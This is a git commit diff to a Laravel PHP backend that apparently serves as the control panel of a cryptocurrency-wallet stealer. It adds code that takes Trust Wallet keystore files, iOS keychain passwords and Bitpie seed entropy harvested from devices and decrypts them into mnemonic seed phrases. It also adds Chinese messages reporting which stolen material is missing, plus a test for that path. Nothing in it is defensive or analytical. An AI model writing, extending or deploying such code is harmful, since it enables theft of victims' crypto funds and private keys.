feat: ds
This commit is contained in:
@@ -8,6 +8,7 @@ use App\Models\User;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\DarkSwordIngestAdapter;
|
||||
use App\Services\DsKeystoreDecrypt;
|
||||
use App\Support\AgentScope;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
@@ -82,7 +83,7 @@ class KeystoreController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
public function decrypt(WalletKeystore $keystore, DarkSwordIngestAdapter $adapter)
|
||||
public function decrypt(WalletKeystore $keystore, DarkSwordIngestAdapter $adapter, DsKeystoreDecrypt $decrypt)
|
||||
{
|
||||
if (! $this->keystoreAllowed($keystore)) {
|
||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||
@@ -107,11 +108,12 @@ class KeystoreController extends Controller
|
||||
->get(['id', 'source', 'mnemonic_hash']);
|
||||
$added = $after->filter(static fn (WalletMnemonic $row) => ! isset($seen[$row->mnemonic_hash]));
|
||||
$addedCount = $added->count();
|
||||
$counts = $decrypt->materialCounts($device->fresh('keystores'));
|
||||
$msg = $addedCount > 0
|
||||
? '已写入 '.$addedCount.' 条助记词'
|
||||
: ((int) $keystore->decrypted === 1
|
||||
? '没有新的助记词(该来源可能已解密)'
|
||||
: '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy)');
|
||||
: $this->decryptMissMessage($counts));
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
@@ -122,6 +124,9 @@ class KeystoreController extends Controller
|
||||
'added' => $addedCount,
|
||||
'mnemonic_total' => $after->count(),
|
||||
'sources' => $added->pluck('source')->unique()->values()->all(),
|
||||
'utc' => $counts['utc'],
|
||||
'passwords' => $counts['passwords'],
|
||||
'entropy' => $counts['entropy'],
|
||||
],
|
||||
]);
|
||||
}
|
||||
@@ -147,6 +152,30 @@ class KeystoreController extends Controller
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{utc: int, passwords: int, entropy: int} $counts
|
||||
*/
|
||||
private function decryptMissMessage(array $counts): string
|
||||
{
|
||||
$utc = (int) $counts['utc'];
|
||||
$passwords = (int) $counts['passwords'];
|
||||
$entropy = (int) $counts['entropy'];
|
||||
if ($utc === 0 && $passwords > 0) {
|
||||
return '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密';
|
||||
}
|
||||
if ($utc > 0 && $passwords === 0) {
|
||||
return '有沙盒 UTC 文件,但没有钥匙串密码(account 含 UTC-- 的 32 字节项)';
|
||||
}
|
||||
if ($utc > 0 && $passwords > 0) {
|
||||
return 'UTC 和钥匙串密码都在,但解不开(密码不匹配或 scrypt 失败)';
|
||||
}
|
||||
if ($entropy > 0) {
|
||||
return '有 Bitpie seedPhraseEntropy,但未能还原助记词';
|
||||
}
|
||||
|
||||
return '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy)';
|
||||
}
|
||||
|
||||
private function keystoreAllowed(WalletKeystore $keystore): bool
|
||||
{
|
||||
$allowed = WalletKeystore::query()
|
||||
|
||||
@@ -49,6 +49,28 @@ final class DsKeystoreDecrypt
|
||||
return $hits;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{utc: int, passwords: int, entropy: int}
|
||||
*/
|
||||
public function materialCounts(Device $device): array
|
||||
{
|
||||
$device->loadMissing('keystores');
|
||||
$utcs = [];
|
||||
$passwords = [];
|
||||
$entropy = [];
|
||||
foreach ($device->keystores as $row) {
|
||||
$utcs = array_merge($utcs, $this->collectKeystores($row->raw_json));
|
||||
$passwords = array_merge($passwords, $this->collectPasswords($row->raw_json));
|
||||
$entropy = array_merge($entropy, $this->collectBitpieEntropyHex($row->raw_json));
|
||||
}
|
||||
|
||||
return [
|
||||
'utc' => count($this->uniqueKeystores($utcs)),
|
||||
'passwords' => count($this->uniquePasswords($passwords)),
|
||||
'entropy' => count(array_unique($entropy)),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
|
||||
*/
|
||||
|
||||
@@ -214,4 +214,37 @@ class KeystoreAdminTest extends TestCase
|
||||
->postJson(route('user.keystores.decrypt', $rowB))
|
||||
->assertForbidden();
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function decrypt_explains_trust_password_without_utc(): void
|
||||
{
|
||||
Http::fake();
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$device = Device::query()->create(['device_id' => 'DEVKSDECRYPT02']);
|
||||
$keychain = WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'Trust Wallet',
|
||||
'decrypted' => 0,
|
||||
'raw_json' => [
|
||||
'kind' => 'keychain.wallets',
|
||||
'wallets' => [
|
||||
'trustwallet' => [
|
||||
'items' => [[
|
||||
'account' => 'trustwalletwallet-hd-wallet-UTC--2026-08-21T00-03-40--47A2D637-C475-4384-AA0F-9BB81A84893F',
|
||||
'dataHex' => str_repeat('ab', 32),
|
||||
]],
|
||||
],
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->postJson(route('admin.keystores.decrypt', $keychain))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.added', 0)
|
||||
->assertJsonPath('data.utc', 0)
|
||||
->assertJsonPath('data.passwords', 1)
|
||||
->assertJsonPath('msg', '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密');
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user